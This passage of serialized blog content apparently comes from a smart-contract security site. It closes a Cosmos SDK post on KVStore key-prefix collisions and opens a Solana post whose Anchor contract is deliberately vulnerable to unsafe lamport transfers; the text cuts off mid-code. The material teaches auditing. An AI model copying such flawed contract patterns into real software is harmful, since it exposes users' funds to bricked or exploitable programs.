":90081}," values\n",{"type":26,"tag":217,"props":90083,"children":90084},{"class":7028,"line":8197},[90085],{"type":26,"tag":217,"props":90086,"children":90087},{"style":7048},[90088],{"type":32,"value":7184},{"type":26,"tag":39,"props":90090,"children":90091},{},[90092,90094,90100,90101,90107,90109,90114,90116,90121,90123,90128,90130,90135,90137,90143],{"type":32,"value":90093},"By now, you may have already noticed that this implementation suffers from field malleability issues. Imagine a scenario where both ",{"type":26,"tag":83,"props":90095,"children":90097},{"className":90096},[],[90098],{"type":32,"value":90099},"vaultId = 1",{"type":32,"value":1308},{"type":26,"tag":83,"props":90102,"children":90104},{"className":90103},[],[90105],{"type":32,"value":90106},"vaultId = 10",{"type":32,"value":90108}," coexist. If we try to fetch data under ",{"type":26,"tag":83,"props":90110,"children":90112},{"className":90111},[],[90113],{"type":32,"value":90099},{"type":32,"value":90115},", all entries under ",{"type":26,"tag":83,"props":90117,"children":90119},{"className":90118},[],[90120],{"type":32,"value":90106},{"type":32,"value":90122}," will also be returned simply because ",{"type":26,"tag":83,"props":90124,"children":90126},{"className":90125},[],[90127],{"type":32,"value":185},{"type":32,"value":90129}," is a prefix of ",{"type":26,"tag":83,"props":90131,"children":90133},{"className":90132},[],[90134],{"type":32,"value":18670},{"type":32,"value":90136},". To fix this, we must once again append the ",{"type":26,"tag":83,"props":90138,"children":90140},{"className":90139},[],[90141],{"type":32,"value":90142},"Separator",{"type":32,"value":90144}," to the iterator prefix.",{"type":26,"tag":207,"props":90146,"children":90148},{"code":90147,"language":77016,"meta":8,"className":77017,"style":8},"i := sdk.KVStorePrefixIterator(\n    kvStore,\n    fmt.Sprintf(\"%s%d%s\", PositionMapPrefix, vaultId, Seperator),\n)\n",[90149],{"type":26,"tag":83,"props":90150,"children":90151},{"__ignoreMap":8},[90152,90179,90191,90244],{"type":26,"tag":217,"props":90153,"children":90154},{"class":7028,"line":7029},[90155,90159,90163,90167,90171,90175],{"type":26,"tag":217,"props":90156,"children":90157},{"style":7054},[90158],{"type":32,"value":2290},{"type":26,"tag":217,"props":90160,"children":90161},{"style":7149},[90162],{"type":32,"value":77267},{"type":26,"tag":217,"props":90164,"children":90165},{"style":7054},[90166],{"type":32,"value":79518},{"type":26,"tag":217,"props":90168,"children":90169},{"style":7048},[90170],{"type":32,"value":180},{"type":26,"tag":217,"props":90172,"children":90173},{"style":7064},[90174],{"type":32,"value":89334},{"type":26,"tag":217,"props":90176,"children":90177},{"style":7048},[90178],{"type":32,"value":10932},{"type":26,"tag":217,"props":90180,"children":90181},{"class":7028,"line":6770},[90182,90187],{"type":26,"tag":217,"props":90183,"children":90184},{"style":7054},[90185],{"type":32,"value":90186},"    kvStore",{"type":26,"tag":217,"props":90188,"children":90189},{"style":7048},[90190],{"type":32,"value":10953},{"type":26,"tag":217,"props":90192,"children":90193},{"class":7028,"line":6779},[90194,90199,90203,90207,90211,90216,90220,90224,90228,90232,90236,90240],{"type":26,"tag":217,"props":90195,"children":90196},{"style":7054},[90197],{"type":32,"value":90198},"    fmt",{"type":26,"tag":217,"props":90200,"children":90201},{"style":7048},[90202],{"type":32,"value":180},{"type":26,"tag":217,"props":90204,"children":90205},{"style":7064},[90206],{"type":32,"value":86104},{"type":26,"tag":217,"props":90208,"children":90209},{"style":7048},[90210],{"type":32,"value":1851},{"type":26,"tag":217,"props":90212,"children":90213},{"style":7338},[90214],{"type":32,"value":90215},"\"%s%d%s\"",{"type":26,"tag":217,"props":90217,"children":90218},{"style":7048},[90219],{"type":32,"value":7599},{"type":26,"tag":217,"props":90221,"children":90222},{"style":7054},[90223],{"type":32,"value":89384},{"type":26,"tag":217,"props":90225,"children":90226},{"style":7048},[90227],{"type":32,"value":7599},{"type":26,"tag":217,"props":90229,"children":90230},{"style":7054},[90231],{"type":32,"value":89169},{"type":26,"tag":217,"props":90233,"children":90234},{"style":7048},[90235],{"type":32,"value":7599},{"type":26,"tag":217,"props":90237,"children":90238},{"style":7054},[90239],{"type":32,"value":89501},{"type":26,"tag":217,"props":90241,"children":90242},{"style":7048},[90243],{"type":32,"value":13841},{"type":26,"tag":217,"props":90245,"children":90246},{"class":7028,"line":7140},[90247],{"type":26,"tag":217,"props":90248,"children":90249},{"style":7048},[90250],{"type":32,"value":10025},{"type":26,"tag":39,"props":90252,"children":90253},{},[90254,90256,90261],{"type":32,"value":90255},"At first, identifying these serialization issues may seem easy. Once data structures and ",{"type":26,"tag":83,"props":90257,"children":90259},{"className":90258},[],[90260],{"type":32,"value":85858},{"type":32,"value":90262}," usage grow increasingly more complex, developers can unintentionally overlook storage key parsing mistakes.",{"type":26,"tag":39,"props":90264,"children":90265},{},[90266],{"type":32,"value":90267},"Storage keys continue to be a tedious and persistent issue when building on Cosmos. It is crucial to approach development with awareness and care to prevent bugs from creeping into code.",{"type":26,"tag":607,"props":90269,"children":90271},{"id":90270},"real-world-examples-5",[90272],{"type":32,"value":77538},{"type":26,"tag":39,"props":90274,"children":90275},{},[90276,90277,90282,90284,90291,90293,90299],{"type":32,"value":475},{"type":26,"tag":83,"props":90278,"children":90280},{"className":90279},[],[90281],{"type":32,"value":79338},{"type":32,"value":90283}," previously lacked protection against KVStore ",{"type":26,"tag":163,"props":90285,"children":90288},{"href":90286,"rel":90287},"https://github.com/cosmos/cosmos-sdk/pull/9363",[167],[90289],{"type":32,"value":90290},"key collisions",{"type":32,"value":90292},". This prior oversight allowed developers to unintentionally create two ",{"type":26,"tag":83,"props":90294,"children":90296},{"className":90295},[],[90297],{"type":32,"value":90298},"KVStores",{"type":32,"value":90300}," that were not independent of each other.",{"type":26,"tag":39,"props":90302,"children":90303},{},[90304],{"type":26,"tag":163,"props":90305,"children":90308},{"href":90306,"rel":90307},"https://github.com/cosmos/cosmos-sdk/blob/25bd118e4cc1d60ab2f9d2e0302d271416551aa9/types/store.go#L108",[167],[90309],{"type":32,"value":77588},{"type":26,"tag":207,"props":90311,"children":90313},{"code":90312,"language":77016,"meta":8,"className":77017,"style":8},"func NewKVStoreKeys(names ...string) map[string]*KVStoreKey {\n    keys := make(map[string]*KVStoreKey)\n    for _, name := range names {\n        keys[name] = NewKVStoreKey(name)\n    }\n\n    return keys\n}\n",[90314],{"type":26,"tag":83,"props":90315,"children":90316},{"__ignoreMap":8},[90317,90380,90428,90464,90504,90511,90518,90530],{"type":26,"tag":217,"props":90318,"children":90319},{"class":7028,"line":7029},[90320,90324,90329,90333,90338,90343,90347,90351,90355,90359,90363,90367,90371,90376],{"type":26,"tag":217,"props":90321,"children":90322},{"style":7154},[90323],{"type":32,"value":26409},{"type":26,"tag":217,"props":90325,"children":90326},{"style":7064},[90327],{"type":32,"value":90328}," NewKVStoreKeys",{"type":26,"tag":217,"props":90330,"children":90331},{"style":7048},[90332],{"type":32,"value":1851},{"type":26,"tag":217,"props":90334,"children":90335},{"style":7054},[90336],{"type":32,"value":90337},"names",{"type":26,"tag":217,"props":90339,"children":90340},{"style":7149},[90341],{"type":32,"value":90342}," ...",{"type":26,"tag":217,"props":90344,"children":90345},{"style":7119},[90346],{"type":32,"value":78188},{"type":26,"tag":217,"props":90348,"children":90349},{"style":7048},[90350],{"type":32,"value":8380},{"type":26,"tag":217,"props":90352,"children":90353},{"style":7154},[90354],{"type":32,"value":78426},{"type":26,"tag":217,"props":90356,"children":90357},{"style":7048},[90358],{"type":32,"value":7127},{"type":26,"tag":217,"props":90360,"children":90361},{"style":7119},[90362],{"type":32,"value":78188},{"type":26,"tag":217,"props":90364,"children":90365},{"style":7048},[90366],{"type":32,"value":21845},{"type":26,"tag":217,"props":90368,"children":90369},{"style":7149},[90370],{"type":32,"value":10006},{"type":26,"tag":217,"props":90372,"children":90373},{"style":7119},[90374],{"type":32,"value":90375},"KVStoreKey",{"type":26,"tag":217,"props":90377,"children":90378},{"style":7048},[90379],{"type":32,"value":8064},{"type":26,"tag":217,"props":90381,"children":90382},{"class":7028,"line":6770},[90383,90388,90392,90396,90400,90404,90408,90412,90416,90420,90424],{"type":26,"tag":217,"props":90384,"children":90385},{"style":7054},[90386],{"type":32,"value":90387},"    keys",{"type":26,"tag":217,"props":90389,"children":90390},{"style":7149},[90391],{"type":32,"value":77267},{"type":26,"tag":217,"props":90393,"children":90394},{"style":7064},[90395],{"type":32,"value":86445},{"type":26,"tag":217,"props":90397,"children":90398},{"style":7048},[90399],{"type":32,"value":1851},{"type":26,"tag":217,"props":90401,"children":90402},{"style":7154},[90403],{"type":32,"value":78426},{"type":26,"tag":217,"props":90405,"children":90406},{"style":7048},[90407],{"type":32,"value":7127},{"type":26,"tag":217,"props":90409,"children":90410},{"style":7119},[90411],{"type":32,"value":78188},{"type":26,"tag":217,"props":90413,"children":90414},{"style":7048},[90415],{"type":32,"value":21845},{"type":26,"tag":217,"props":90417,"children":90418},{"style":7149},[90419],{"type":32,"value":10006},{"type":26,"tag":217,"props":90421,"children":90422},{"style":7119},[90423],{"type":32,"value":90375},{"type":26,"tag":217,"props":90425,"children":90426},{"style":7048},[90427],{"type":32,"value":10025},{"type":26,"tag":217,"props":90429,"children":90430},{"class":7028,"line":6779},[90431,90435,90439,90443,90447,90451,90455,90460],{"type":26,"tag":217,"props":90432,"children":90433},{"style":7042},[90434],{"type":32,"value":12461},{"type":26,"tag":217,"props":90436,"children":90437},{"style":7054},[90438],{"type":32,"value":78641},{"type":26,"tag":217,"props":90440,"children":90441},{"style":7048},[90442],{"type":32,"value":7599},{"type":26,"tag":217,"props":90444,"children":90445},{"style":7054},[90446],{"type":32,"value":39184},{"type":26,"tag":217,"props":90448,"children":90449},{"style":7149},[90450],{"type":32,"value":77267},{"type":26,"tag":217,"props":90452,"children":90453},{"style":7042},[90454],{"type":32,"value":78262},{"type":26,"tag":217,"props":90456,"children":90457},{"style":7054},[90458],{"type":32,"value":90459}," names",{"type":26,"tag":217,"props":90461,"children":90462},{"style":7048},[90463],{"type":32,"value":8064},{"type":26,"tag":217,"props":90465,"children":90466},{"class":7028,"line":7140},[90467,90471,90475,90479,90483,90487,90492,90496,90500],{"type":26,"tag":217,"props":90468,"children":90469},{"style":7054},[90470],{"type":32,"value":78556},{"type":26,"tag":217,"props":90472,"children":90473},{"style":7048},[90474],{"type":32,"value":7127},{"type":26,"tag":217,"props":90476,"children":90477},{"style":7054},[90478],{"type":32,"value":39184},{"type":26,"tag":217,"props":90480,"children":90481},{"style":7048},[90482],{"type":32,"value":10276},{"type":26,"tag":217,"props":90484,"children":90485},{"style":7149},[90486],{"type":32,"value":267},{"type":26,"tag":217,"props":90488,"children":90489},{"style":7064},[90490],{"type":32,"value":90491}," NewKVStoreKey",{"type":26,"tag":217,"props":90493,"children":90494},{"style":7048},[90495],{"type":32,"value":1851},{"type":26,"tag":217,"props":90497,"children":90498},{"style":7054},[90499],{"type":32,"value":39184},{"type":26,"tag":217,"props":90501,"children":90502},{"style":7048},[90503],{"type":32,"value":10025},{"type":26,"tag":217,"props":90505,"children":90506},{"class":7028,"line":7165},[90507],{"type":26,"tag":217,"props":90508,"children":90509},{"style":7048},[90510],{"type":32,"value":9754},{"type":26,"tag":217,"props":90512,"children":90513},{"class":7028,"line":7178},[90514],{"type":26,"tag":217,"props":90515,"children":90516},{"emptyLinePlaceholder":17},[90517],{"type":32,"value":7817},{"type":26,"tag":217,"props":90519,"children":90520},{"class":7028,"line":7389},[90521,90525],{"type":26,"tag":217,"props":90522,"children":90523},{"style":7042},[90524],{"type":32,"value":7171},{"type":26,"tag":217,"props":90526,"children":90527},{"style":7054},[90528],{"type":32,"value":90529}," keys\n",{"type":26,"tag":217,"props":90531,"children":90532},{"class":7028,"line":7406},[90533],{"type":26,"tag":217,"props":90534,"children":90535},{"style":7048},[90536],{"type":32,"value":7184},{"type":26,"tag":39,"props":90538,"children":90539},{},[90540,90542,90547,90549,90554,90556,90561],{"type":32,"value":90541},"Thanks to the diligence of core developers, checks are now enforced and the ",{"type":26,"tag":83,"props":90543,"children":90545},{"className":90544},[],[90546],{"type":32,"value":79338},{"type":32,"value":90548}," will refuse to run if any ",{"type":26,"tag":83,"props":90550,"children":90552},{"className":90551},[],[90553],{"type":32,"value":85858},{"type":32,"value":90555}," keys are prefix of each other. This implementation alleviates developers from having to worry about key collisions on the ",{"type":26,"tag":83,"props":90557,"children":90559},{"className":90558},[],[90560],{"type":32,"value":85858},{"type":32,"value":90562}," level.",{"type":26,"tag":39,"props":90564,"children":90565},{},[90566,90568,90575],{"type":32,"value":90567},"Additional storage key issues like subtle bugs in the Cosmos-SDK have resulted in ",{"type":26,"tag":163,"props":90569,"children":90572},{"href":90570,"rel":90571},"https://github.com/cosmos/cosmos-sdk/issues/12661",[167],[90573],{"type":32,"value":90574},"incorrect iterator behavior",{"type":32,"value":180},{"type":26,"tag":39,"props":90577,"children":90578},{},[90579,90581,90588],{"type":32,"value":90580},"Notably, gradual adoption of the ",{"type":26,"tag":163,"props":90582,"children":90585},{"href":90583,"rel":90584},"https://github.com/cosmos/cosmos-sdk/tree/def657dafa615cb8e8bb072452663893157e073a/collections",[167],[90586],{"type":32,"value":90587},"collections",{"type":32,"value":90589}," storage helpers since Cosmos v0.50 has made it a lot more difficult to write buggy code. This demonstrates the importance of keeping up to date with the latest SDK development to leverage architectural security improvements.",{"type":26,"tag":27,"props":90591,"children":90592},{"id":9272},[90593],{"type":32,"value":9275},{"type":26,"tag":39,"props":90595,"children":90596},{},[90597],{"type":32,"value":90598},"The Cosmos SDK is a powerful tool for those who want to create custom blockchains. However, this flexibility brings about great responsibility. Developers must pay close attention to nuances, as these can expose a large number of potential attack surfaces.",{"type":26,"tag":39,"props":90600,"children":90601},{},[90602],{"type":32,"value":90603},"To recap, we discussed some of the more basic parts of Cosmos-SDK, showcasing common mistakes developers tend to make. Yet, it is important to note that we've only covered the tip of the iceberg. Other attack surfaces, such as authentications in relation to the IBC interface, are fundamentals absolutely worth looking into.",{"type":26,"tag":9282,"props":90605,"children":90606},{},[90607],{"type":32,"value":9286},{"title":8,"searchDepth":6770,"depth":6770,"links":90609},[90610,90611,90614,90617,90620,90623,90626,90629],{"id":24419,"depth":6770,"text":24422},{"id":76734,"depth":6770,"text":76737,"children":90612},[90613],{"id":77535,"depth":6779,"text":77538},{"id":78142,"depth":6770,"text":78145,"children":90615},[90616],{"id":78802,"depth":6779,"text":77538},{"id":79304,"depth":6770,"text":79307,"children":90618},[90619],{"id":80610,"depth":6779,"text":77538},{"id":81952,"depth":6770,"text":81955,"children":90621},[90622],{"id":82491,"depth":6779,"text":77538},{"id":84011,"depth":6770,"text":84014,"children":90624},[90625],{"id":84890,"depth":6779,"text":77538},{"id":85844,"depth":6770,"text":85847,"children":90627},[90628],{"id":90270,"depth":6779,"text":77538},{"id":9272,"depth":6770,"text":9275},"content:blog:2025-06-10-cosmos-security.md","blog/2025-06-10-cosmos-security.md","blog/2025-06-10-cosmos-security",{"_path":90634,"_dir":6,"_draft":7,"_partial":7,"_locale":8,"title":90635,"description":90636,"author":90637,"image":90638,"date":90640,"isFeatured":17,"tags":90641,"onBlogPage":17,"body":90643,"_type":6799,"_id":95350,"_source":6801,"_file":95351,"_stem":95352,"_extension":6804},"/blog/2025-05-14-king-of-the-sol","Solana: The hidden dangers of lamport transfers","Solana’s lamport transfer logic hides dangerous edge cases — from rent-exemption quirks to write-demotion traps. We dissect a deceptively simple smart contract game to expose how transfers to arbitrary accounts can silently fail, brick your program, or crown an eternal king.","nicola",{"src":90639,"height":6817,"width":6817},"/posts/king-of-the-sol/king-of-the-sol.png","2025-05-14",[90642],"solana",{"type":23,"children":90644,"toc":95339},[90645,90649,90654,90668,90674,90679,90709,90714,90719,91778,91783,91791,91796,91802,91808,91820,91853,91865,91878,91890,92338,92343,92390,92396,92401,92488,92493,92507,92520,93194,93199,93211,93217,93228,93240,93397,93411,93430,93451,93457,93462,93815,93820,93826,93845,93859,94487,94492,94512,94517,94522,94528,94540,94561,94737,94743,94748,95049,95070,95082,95094,95179,95199,95211,95217,95229,95235,95240,95263,95275,95281,95293,95298,95302,95307,95312,95330,95335],{"type":26,"tag":27,"props":90646,"children":90647},{"id":24419},[90648],{"type":32,"value":24422},{"type":26,"tag":39,"props":90650,"children":90651},{},[90652],{"type":32,"value":90653},"Is it safe to transfer lamports to an arbitrary address on Solana? The answer might surprise you.",{"type":26,"tag":39,"props":90655,"children":90656},{},[90657,90659,90666],{"type":32,"value":90658},"In this post, we explore a deceptively simple smart contract game inspired by ",{"type":26,"tag":163,"props":90660,"children":90663},{"href":90661,"rel":90662},"https://www.kingoftheether.com/thrones/kingoftheether/index.html",[167],[90664],{"type":32,"value":90665},"King of the Ether",{"type":32,"value":90667},". Through it, we’ll highlight subtle pitfalls in Solana’s account model that can brick your program — especially when it comes to transferring lamports.",{"type":26,"tag":27,"props":90669,"children":90671},{"id":90670},"the-game-king-of-the-sol",[90672],{"type":32,"value":90673},"The Game: King of the SOL",{"type":26,"tag":39,"props":90675,"children":90676},{},[90677],{"type":32,"value":90678},"The game works like this:",{"type":26,"tag":2040,"props":90680,"children":90681},{},[90682,90694,90699,90704],{"type":26,"tag":2044,"props":90683,"children":90684},{},[90685,90687,90692],{"type":32,"value":90686},"Anyone can become the ",{"type":26,"tag":9348,"props":90688,"children":90689},{},[90690],{"type":32,"value":90691},"king",{"type":32,"value":90693}," by bidding at least 2× the previous bid.",{"type":26,"tag":2044,"props":90695,"children":90696},{},[90697],{"type":32,"value":90698},"The old king is reimbursed 95% of their bid.",{"type":26,"tag":2044,"props":90700,"children":90701},{},[90702],{"type":32,"value":90703},"The remaining 5% goes into a prize pot.",{"type":26,"tag":2044,"props":90705,"children":90706},{},[90707],{"type":32,"value":90708},"If the reigning king survives for 10 days without being dethroned, they can claim the entire pot.",{"type":26,"tag":39,"props":90710,"children":90711},{},[90712],{"type":32,"value":90713},"Simple, right?",{"type":26,"tag":39,"props":90715,"children":90716},{},[90717],{"type":32,"value":90718},"This is the core logic:",{"type":26,"tag":207,"props":90720,"children":90722},{"className":56140,"code":90721,"language":56139,"meta":8,"style":8},"#[derive(Accounts)]\npub struct ChangeKing\u003C'info> {\n    #[account(mut)]\n    pub throne: Account\u003C'info, Throne>,\n\n    /// CHECK: old_king gets a 95% refund, so ensure its writable.\n    #[account(mut, constraint = old_king.key() == throne.king)]\n    pub old_king: AccountInfo\u003C'info>,\n\n    /// CHECK: any writable account is allowed as a new king.\n    #[account(mut)]\n    pub new_king: AccountInfo\u003C'info>,\n\n    #[account(mut)]\n    pub payer: Signer\u003C'info>,\n}\n\n#[program]\npub mod king_of_the_sol {\n    pub fn change_king(ctx: Context\u003CChangeKing>, bid_amount: u64) -> Result\u003C()> {\n        // Check that bid_amount is at least 2x last_bid_amount\n        assert!(bid_amount >= ctx.accounts.throne.last_bid_amount * 2);\n        transfer_from_signer(\n            &ctx.accounts.payer,\n            &ctx.accounts.throne.to_account_info(),\n            bid_amount,\n        )?;\n\n        // Reimburse 95% of the last bid to the old king\n        let to_reimburse = (ctx.accounts.throne.last_bid_amount * 9500) / 10000;\n        transfer_from_pda(\n            &ctx.accounts.throne.to_account_info(),\n            &ctx.accounts.old_king,\n            to_reimburse,\n        )?;\n\n        // Set new king\n        ctx.accounts.throne.king = ctx.accounts.new_king.key();\n        ctx.accounts.throne.last_bid_amount = bid_amount;\n        ctx.accounts.throne.last_time = Clock::get()?.unix_timestamp as u64;\n\n        Ok(())\n    }\n}\n",[90723],{"type":26,"tag":83,"props":90724,"children":90725},{"__ignoreMap":8},[90726,90744,90774,90791,90834,90841,90849,90900,90932,90939,90947,90962,90994,91001,91016,91049,91056,91063,91071,91087,91164,91172,91235,91247,91276,91316,91328,91344,91351,91359,91434,91446,91485,91513,91525,91540,91547,91555,91624,91668,91744,91751,91764,91771],{"type":26,"tag":217,"props":90727,"children":90728},{"class":7028,"line":7029},[90729,90734,90739],{"type":26,"tag":217,"props":90730,"children":90731},{"style":7048},[90732],{"type":32,"value":90733},"#[derive(",{"type":26,"tag":217,"props":90735,"children":90736},{"style":7119},[90737],{"type":32,"value":90738},"Accounts",{"type":26,"tag":217,"props":90740,"children":90741},{"style":7048},[90742],{"type":32,"value":90743},")]\n",{"type":26,"tag":217,"props":90745,"children":90746},{"class":7028,"line":6770},[90747,90751,90755,90760,90765,90770],{"type":26,"tag":217,"props":90748,"children":90749},{"style":7154},[90750],{"type":32,"value":56830},{"type":26,"tag":217,"props":90752,"children":90753},{"style":7154},[90754],{"type":32,"value":77038},{"type":26,"tag":217,"props":90756,"children":90757},{"style":7119},[90758],{"type":32,"value":90759}," ChangeKing",{"type":26,"tag":217,"props":90761,"children":90762},{"style":7048},[90763],{"type":32,"value":90764},"\u003C'",{"type":26,"tag":217,"props":90766,"children":90767},{"style":7119},[90768],{"type":32,"value":90769},"info",{"type":26,"tag":217,"props":90771,"children":90772},{"style":7048},[90773],{"type":32,"value":77772},{"type":26,"tag":217,"props":90775,"children":90776},{"class":7028,"line":6779},[90777,90782,90787],{"type":26,"tag":217,"props":90778,"children":90779},{"style":7048},[90780],{"type":32,"value":90781},"    #[account(",{"type":26,"tag":217,"props":90783,"children":90784},{"style":7154},[90785],{"type":32,"value":90786},"mut",{"type":26,"tag":217,"props":90788,"children":90789},{"style":7048},[90790],{"type":32,"value":90743},{"type":26,"tag":217,"props":90792,"children":90793},{"class":7028,"line":7140},[90794,90799,90804,90808,90813,90817,90821,90825,90830],{"type":26,"tag":217,"props":90795,"children":90796},{"style":7154},[90797],{"type":32,"value":90798},"    pub",{"type":26,"tag":217,"props":90800,"children":90801},{"style":7054},[90802],{"type":32,"value":90803}," throne",{"type":26,"tag":217,"props":90805,"children":90806},{"style":7149},[90807],{"type":32,"value":1473},{"type":26,"tag":217,"props":90809,"children":90810},{"style":7119},[90811],{"type":32,"value":90812}," Account",{"type":26,"tag":217,"props":90814,"children":90815},{"style":7048},[90816],{"type":32,"value":90764},{"type":26,"tag":217,"props":90818,"children":90819},{"style":7119},[90820],{"type":32,"value":90769},{"type":26,"tag":217,"props":90822,"children":90823},{"style":7048},[90824],{"type":32,"value":7599},{"type":26,"tag":217,"props":90826,"children":90827},{"style":7119},[90828],{"type":32,"value":90829},"Throne",{"type":26,"tag":217,"props":90831,"children":90832},{"style":7048},[90833],{"type":32,"value":77713},{"type":26,"tag":217,"props":90835,"children":90836},{"class":7028,"line":7165},[90837],{"type":26,"tag":217,"props":90838,"children":90839},{"emptyLinePlaceholder":17},[90840],{"type":32,"value":7817},{"type":26,"tag":217,"props":90842,"children":90843},{"class":7028,"line":7178},[90844],{"type":26,"tag":217,"props":90845,"children":90846},{"style":7033},[90847],{"type":32,"value":90848},"    /// CHECK: old_king gets a 95% refund, so ensure its writable.\n",{"type":26,"tag":217,"props":90850,"children":90851},{"class":7028,"line":7389},[90852,90856,90860,90865,90869,90874,90878,90883,90887,90891,90895],{"type":26,"tag":217,"props":90853,"children":90854},{"style":7048},[90855],{"type":32,"value":90781},{"type":26,"tag":217,"props":90857,"children":90858},{"style":7154},[90859],{"type":32,"value":90786},{"type":26,"tag":217,"props":90861,"children":90862},{"style":7048},[90863],{"type":32,"value":90864},", constraint ",{"type":26,"tag":217,"props":90866,"children":90867},{"style":7149},[90868],{"type":32,"value":267},{"type":26,"tag":217,"props":90870,"children":90871},{"style":7048},[90872],{"type":32,"value":90873}," old_king",{"type":26,"tag":217,"props":90875,"children":90876},{"style":7149},[90877],{"type":32,"value":180},{"type":26,"tag":217,"props":90879,"children":90880},{"style":7048},[90881],{"type":32,"value":90882},"key() ",{"type":26,"tag":217,"props":90884,"children":90885},{"style":7149},[90886],{"type":32,"value":9106},{"type":26,"tag":217,"props":90888,"children":90889},{"style":7048},[90890],{"type":32,"value":90803},{"type":26,"tag":217,"props":90892,"children":90893},{"style":7149},[90894],{"type":32,"value":180},{"type":26,"tag":217,"props":90896,"children":90897},{"style":7048},[90898],{"type":32,"value":90899},"king)]\n",{"type":26,"tag":217,"props":90901,"children":90902},{"class":7028,"line":7406},[90903,90907,90911,90915,90920,90924,90928],{"type":26,"tag":217,"props":90904,"children":90905},{"style":7154},[90906],{"type":32,"value":90798},{"type":26,"tag":217,"props":90908,"children":90909},{"style":7054},[90910],{"type":32,"value":90873},{"type":26,"tag":217,"props":90912,"children":90913},{"style":7149},[90914],{"type":32,"value":1473},{"type":26,"tag":217,"props":90916,"children":90917},{"style":7119},[90918],{"type":32,"value":90919}," AccountInfo",{"type":26,"tag":217,"props":90921,"children":90922},{"style":7048},[90923],{"type":32,"value":90764},{"type":26,"tag":217,"props":90925,"children":90926},{"style":7119},[90927],{"type":32,"value":90769},{"type":26,"tag":217,"props":90929,"children":90930},{"style":7048},[90931],{"type":32,"value":77713},{"type":26,"tag":217,"props":90933,"children":90934},{"class":7028,"line":7439},[90935],{"type":26,"tag":217,"props":90936,"children":90937},{"emptyLinePlaceholder":17},[90938],{"type":32,"value":7817},{"type":26,"tag":217,"props":90940,"children":90941},{"class":7028,"line":7487},[90942],{"type":26,"tag":217,"props":90943,"children":90944},{"style":7033},[90945],{"type":32,"value":90946},"    /// CHECK: any writable account is allowed as a new king.\n",{"type":26,"tag":217,"props":90948,"children":90949},{"class":7028,"line":7524},[90950,90954,90958],{"type":26,"tag":217,"props":90951,"children":90952},{"style":7048},[90953],{"type":32,"value":90781},{"type":26,"tag":217,"props":90955,"children":90956},{"style":7154},[90957],{"type":32,"value":90786},{"type":26,"tag":217,"props":90959,"children":90960},{"style":7048},[90961],{"type":32,"value":90743},{"type":26,"tag":217,"props":90963,"children":90964},{"class":7028,"line":7553},[90965,90969,90974,90978,90982,90986,90990],{"type":26,"tag":217,"props":90966,"children":90967},{"style":7154},[90968],{"type":32,"value":90798},{"type":26,"tag":217,"props":90970,"children":90971},{"style":7054},[90972],{"type":32,"value":90973}," new_king",{"type":26,"tag":217,"props":90975,"children":90976},{"style":7149},[90977],{"type":32,"value":1473},{"type":26,"tag":217,"props":90979,"children":90980},{"style":7119},[90981],{"type":32,"value":90919},{"type":26,"tag":217,"props":90983,"children":90984},{"style":7048},[90985],{"type":32,"value":90764},{"type":26,"tag":217,"props":90987,"children":90988},{"style":7119},[90989],{"type":32,"value":90769},{"type":26,"tag":217,"props":90991,"children":90992},{"style":7048},[90993],{"type":32,"value":77713},{"type":26,"tag":217,"props":90995,"children":90996},{"class":7028,"line":7570},[90997],{"type":26,"tag":217,"props":90998,"children":90999},{"emptyLinePlaceholder":17},[91000],{"type":32,"value":7817},{"type":26,"tag":217,"props":91002,"children":91003},{"class":7028,"line":7621},[91004,91008,91012],{"type":26,"tag":217,"props":91005,"children":91006},{"style":7048},[91007],{"type":32,"value":90781},{"type":26,"tag":217,"props":91009,"children":91010},{"style":7154},[91011],{"type":32,"value":90786},{"type":26,"tag":217,"props":91013,"children":91014},{"style":7048},[91015],{"type":32,"value":90743},{"type":26,"tag":217,"props":91017,"children":91018},{"class":7028,"line":7672},[91019,91023,91028,91032,91037,91041,91045],{"type":26,"tag":217,"props":91020,"children":91021},{"style":7154},[91022],{"type":32,"value":90798},{"type":26,"tag":217,"props":91024,"children":91025},{"style":7054},[91026],{"type":32,"value":91027}," payer",{"type":26,"tag":217,"props":91029,"children":91030},{"style":7149},[91031],{"type":32,"value":1473},{"type":26,"tag":217,"props":91033,"children":91034},{"style":7119},[91035],{"type":32,"value":91036}," Signer",{"type":26,"tag":217,"props":91038,"children":91039},{"style":7048},[91040],{"type":32,"value":90764},{"type":26,"tag":217,"props":91042,"children":91043},{"style":7119},[91044],{"type":32,"value":90769},{"type":26,"tag":217,"props":91046,"children":91047},{"style":7048},[91048],{"type":32,"value":77713},{"type":26,"tag":217,"props":91050,"children":91051},{"class":7028,"line":7681},[91052],{"type":26,"tag":217,"props":91053,"children":91054},{"style":7048},[91055],{"type":32,"value":7184},{"type":26,"tag":217,"props":91057,"children":91058},{"class":7028,"line":7754},[91059],{"type":26,"tag":217,"props":91060,"children":91061},{"emptyLinePlaceholder":17},[91062],{"type":32,"value":7817},{"type":26,"tag":217,"props":91064,"children":91065},{"class":7028,"line":7784},[91066],{"type":26,"tag":217,"props":91067,"children":91068},{"style":7048},[91069],{"type":32,"value":91070},"#[program]\n",{"type":26,"tag":217,"props":91072,"children":91073},{"class":7028,"line":7802},[91074,91078,91082],{"type":26,"tag":217,"props":91075,"children":91076},{"style":7154},[91077],{"type":32,"value":56830},{"type":26,"tag":217,"props":91079,"children":91080},{"style":7154},[91081],{"type":32,"value":26257},{"type":26,"tag":217,"props":91083,"children":91084},{"style":7048},[91085],{"type":32,"value":91086}," king_of_the_sol {\n",{"type":26,"tag":217,"props":91088,"children":91089},{"class":7028,"line":7811},[91090,91094,91098,91103,91107,91111,91115,91120,91124,91129,91133,91138,91142,91147,91151,91155,91159],{"type":26,"tag":217,"props":91091,"children":91092},{"style":7154},[91093],{"type":32,"value":90798},{"type":26,"tag":217,"props":91095,"children":91096},{"style":7154},[91097],{"type":32,"value":56835},{"type":26,"tag":217,"props":91099,"children":91100},{"style":7064},[91101],{"type":32,"value":91102}," change_king",{"type":26,"tag":217,"props":91104,"children":91105},{"style":7048},[91106],{"type":32,"value":1851},{"type":26,"tag":217,"props":91108,"children":91109},{"style":7054},[91110],{"type":32,"value":79895},{"type":26,"tag":217,"props":91112,"children":91113},{"style":7149},[91114],{"type":32,"value":1473},{"type":26,"tag":217,"props":91116,"children":91117},{"style":7119},[91118],{"type":32,"value":91119}," 